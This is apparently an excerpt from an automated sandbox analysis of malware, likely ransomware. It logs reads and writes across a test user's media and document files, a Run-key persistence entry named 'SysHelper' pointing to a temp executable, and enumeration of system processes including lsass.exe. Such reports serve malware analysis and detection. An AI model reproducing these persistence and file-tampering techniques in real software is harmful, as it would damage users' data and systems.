Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\BBd0_QQoq.m4a size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\BBd0_QQoq.m4a size = 153605, size_out = 55746 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\MYpigepqn9YR5BOM.m4a size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\MYpigepqn9YR5BOM.m4a size = 153605, size_out = 46981 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\zRnyvk1zYM68.m4a size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\zRnyvk1zYM68.m4a size = 153605, size_out = 83515 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\5IXrK DSsOCkwaq.jpg size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\5IXrK DSsOCkwaq.jpg size = 153605, size_out = 57061 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\76ig.bmp size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\76ig.bmp size = 153605, size_out = 72532 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\f7xAj.bmp size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\f7xAj.bmp size = 153605, size_out = 20893 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\gn8pgpO apgbtvLWe.gif size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\gn8pgpO apgbtvLWe.gif size = 153605, size_out = 19281 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\wJHhfbHtkszmHxL4z.png size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\wJHhfbHtkszmHxL4z.png size = 153605, size_out = 7498 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\akc2Tx3.mp4 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\akc2Tx3.mp4 size = 153605, size_out = 66004 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\AkCMeTFe6MkALeUsdVH.flv size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\AkCMeTFe6MkALeUsdVH.flv size = 153605, size_out = 50067 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\D0d5R.avi size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\D0d5R.avi size = 153605, size_out = 60213 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\qQZuqvR.flv size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\qQZuqvR.flv size = 153605, size_out = 93604 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\yCpGa3HU4ZK.mp4 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\yCpGa3HU4ZK.mp4 size = 153605, size_out = 68638 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\Z9p5.mp4 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\Z9p5.mp4 size = 153605, size_out = 81240 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\Im4nv.jpg size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\Im4nv.jpg size = 153605, size_out = 31447 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\R6wEXsUw0FREp4.bmp size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\R6wEXsUw0FREp4.bmp size = 153605, size_out = 23503 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\XfvoPRf DQX9svVyoZ.swf size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\XfvoPRf DQX9svVyoZ.swf size = 153605, size_out = 79003 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\XnAaV.jpg size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\XnAaV.jpg size = 153605, size_out = 84100 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\fR_RDv.mkv size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\fR_RDv.mkv size = 153605, size_out = 12422 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\ILhT5zZ.png size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\ILhT5zZ.png size = 153605, size_out = 64000 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\pfRFKMTfN10.flv size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\pfRFKMTfN10.flv size = 153605, size_out = 5469 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ZfckCSU\9fRp-4.flv size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ZfckCSU\9fRp-4.flv size = 153605, size_out = 37027 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ZfckCSU\wHKNWO5Q.xlsx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ZfckCSU\wHKNWO5Q.xlsx size = 153605, size_out = 63627 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\fgxmTkEjRL27_o2q72fI.pptx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\fgxmTkEjRL27_o2q72fI.pptx size = 153605, size_out = 84897 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\IBpqG xe.pptx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\IBpqG xe.pptx size = 153605, size_out = 33891 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\KNu0v4uNuDK.ppt size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\KNu0v4uNuDK.ppt size = 153605, size_out = 35001 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\LqsXYT88UnYHPGG.odp size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\LqsXYT88UnYHPGG.odp size = 153605, size_out = 55202 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\_IRX.ots size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\_IRX.ots size = 153605, size_out = 26347 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Outlook Files\voeimd@djhreuu.uhd.pst size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Outlook Files\voeimd@djhreuu.uhd.pst size = 153605, size_out = 153605 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\f8r--X3OSbeFEYiVN.rtf size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\f8r--X3OSbeFEYiVN.rtf size = 153605, size_out = 44294 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\R1kbSLdh_IvtktRmk7t.pdf size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\R1kbSLdh_IvtktRmk7t.pdf size = 153605, size_out = 34996 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\VFBl.odt size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\VFBl.odt size = 153605, size_out = 23497 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Suggested Sites.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Suggested Sites.url size = 153605, size_out = 236 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Web Slice Gallery.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Web Slice Gallery.url size = 153605, size_out = 226 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE Add-on site.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE Add-on site.url size = 153605, size_out = 133 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE site on Microsoft.com.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE site on Microsoft.com.url size = 153605, size_out = 133 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Home.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Home.url size = 153605, size_out = 133 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Work.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Work.url size = 153605, size_out = 133 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft Store.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft Store.url size = 153605, size_out = 134 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Autos.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Autos.url size = 153605, size_out = 133 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Entertainment.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Entertainment.url size = 153605, size_out = 133 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Money.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Money.url size = 153605, size_out = 133 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Sports.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Sports.url size = 153605, size_out = 133 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN.url size = 153605, size_out = 133 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSNBC News.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSNBC News.url size = 153605, size_out = 133 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Get Windows Live.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Get Windows Live.url size = 153605, size_out = 133 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Gallery.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Gallery.url size = 153605, size_out = 133 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Mail.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Mail.url size = 153605, size_out = 133 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Spaces.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Spaces.url size = 153605, size_out = 133 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\0CFbxAy-0SvJS.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\0CFbxAy-0SvJS.mp3 size = 153605, size_out = 99309 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\GHOfFfFzI8.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\GHOfFfFzI8.mp3 size = 153605, size_out = 94802 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\hFVVS1xw-2S_rl9p.wav size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\hFVVS1xw-2S_rl9p.wav size = 153605, size_out = 63287 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\IXZXtSgfL.m4a size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\IXZXtSgfL.m4a size = 153605, size_out = 43206 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\6PEBEYDG2Dl Ypm.m4a size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\6PEBEYDG2Dl Ypm.m4a size = 153605, size_out = 51014 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\kn7-WiFR3rujU.wav size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\kn7-WiFR3rujU.wav size = 153605, size_out = 93617 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\sphBhtbT_QiWSj7\aYWMtsRSMh4xlAF.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\sphBhtbT_QiWSj7\aYWMtsRSMh4xlAF.mp3 size = 153605, size_out = 31292 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\sphBhtbT_QiWSj7\z0DV-nH713.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\sphBhtbT_QiWSj7\z0DV-nH713.mp3 size = 153605, size_out = 55136 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\XkpT\Uag_IA1McKV7kb4hkLtv.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\XkpT\Uag_IA1McKV7kb4hkLtv.mp3 size = 153605, size_out = 84235 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\XkpT\UIAiOYKV.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\XkpT\UIAiOYKV.mp3 size = 153605, size_out = 86281 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\3oPkmG2kZIXytM.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\3oPkmG2kZIXytM.mp3 size = 153605, size_out = 53877 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\fg5Tftc5bYHg.m4a size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\fg5Tftc5bYHg.m4a size = 153605, size_out = 40617 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\FVUMXkiyq2-WfIZg4u.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\FVUMXkiyq2-WfIZg4u.mp3 size = 153605, size_out = 69214 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\QZHW.wav size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\QZHW.wav size = 153605, size_out = 64550 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\uJ3cV5w.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\uJ3cV5w.mp3 size = 153605, size_out = 96951 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\ah_F5t-gNj G55YNh\j5qSofvzE 2tyS.jpg size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\ah_F5t-gNj G55YNh\j5qSofvzE 2tyS.jpg size = 153605, size_out = 14476 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\ah_F5t-gNj G55YNh\orTEBhay2M.jpg size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\ah_F5t-gNj G55YNh\orTEBhay2M.jpg size = 153605, size_out = 74908 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\ah_F5t-gNj G55YNh\tThj-wykSa.bmp size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\ah_F5t-gNj G55YNh\tThj-wykSa.bmp size = 153605, size_out = 15197 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\-pcR.gif size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\-pcR.gif size = 153605, size_out = 58421 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\05G_LmHEj.png size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\05G_LmHEj.png size = 153605, size_out = 74961 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\Ui1Z5x.jpg size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\Ui1Z5x.jpg size = 153605, size_out = 24037 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\yYTHpZ.gif size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\yYTHpZ.gif size = 153605, size_out = 57936 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\28siJ1ZaOTT jFmj9.swf size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\28siJ1ZaOTT jFmj9.swf size = 153605, size_out = 80439 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\C7RDGhTmRw.flv size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\C7RDGhTmRw.flv size = 153605, size_out = 18266 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\DF7W-ioIXDGyi.mp4 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\DF7W-ioIXDGyi.mp4 size = 153605, size_out = 5973 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\lGFkkME zcgUcKPwW.swf size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\lGFkkME zcgUcKPwW.swf size = 153605, size_out = 94528 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\Mlv U.mp4 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\Mlv U.mp4 size = 153605, size_out = 50385 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\P9Cjj3pY.avi size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\P9Cjj3pY.avi size = 153605, size_out = 41899 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\QYJjEVaChD.mp4 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\QYJjEVaChD.mp4 size = 153605, size_out = 20416 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\uEaYKvIwFNXXcH.avi size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\uEaYKvIwFNXXcH.avi size = 153605, size_out = 58252 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\_DV1djZRO6HrvdW.mkv size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\_DV1djZRO6HrvdW.mkv size = 153605, size_out = 57698 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\ORstBJ1VPIG9\7G92TLT2aibLnqW9.wav size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\ORstBJ1VPIG9\7G92TLT2aibLnqW9.wav size = 153605, size_out = 76580 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\ORstBJ1VPIG9\dzqnkLYWkOSFhsfv3iD.avi size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\ORstBJ1VPIG9\dzqnkLYWkOSFhsfv3iD.avi size = 153605, size_out = 38457 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\ORstBJ1VPIG9\mbb0w07kHww2pr82rg.jpg size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\ORstBJ1VPIG9\mbb0w07kHww2pr82rg.jpg size = 153605, size_out = 13654 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\Y27 OmlRA4RK\3gAPurutQ.swf size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\Y27 OmlRA4RK\3gAPurutQ.swf size = 153605, size_out = 25956 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\Y27 OmlRA4RK\IqJdt.wav size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\Y27 OmlRA4RK\IqJdt.wav size = 153605, size_out = 10947 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\Y27 OmlRA4RK\KKFvXL.bmp size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\Y27 OmlRA4RK\KKFvXL.bmp size = 153605, size_out = 14864 True 1
Fn
Data
Write C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\5IXrK DSsOCkwaq.jpg size = 38 True 1
Fn
Data
For performance reasons, the remaining 625 entries are omitted.
The remaining entries can be found in glog.xml.
Registry (1512)
»
Operation Key Additional Information Success Count Logfile
Create Key Vazobigi kutiruye pacucujuyikana sipupepazudu tamosoza - False 503
Fn
Open Key Jorayipifa dedi sezifowijo jowizalova gesolo - False 502
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion - True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run value_name = SysHelper, data = "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\f8b84163-99f8-4bc8-9c45-ce8ec9b0cdf7\8FBB.tmp.exe" --AutoStart, type = REG_EXPAND_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion value_name = SysHelper, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Delete Key Digiyeyo dogulawoxe hizo - False 503
Fn
Process (28)
»
Operation Process Additional Information Success Count Logfile
Enumerate Processes - - True 1
Fn
Open System desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\smss.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\wininit.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\winlogon.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\lsass.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\lsm.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\lsm.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
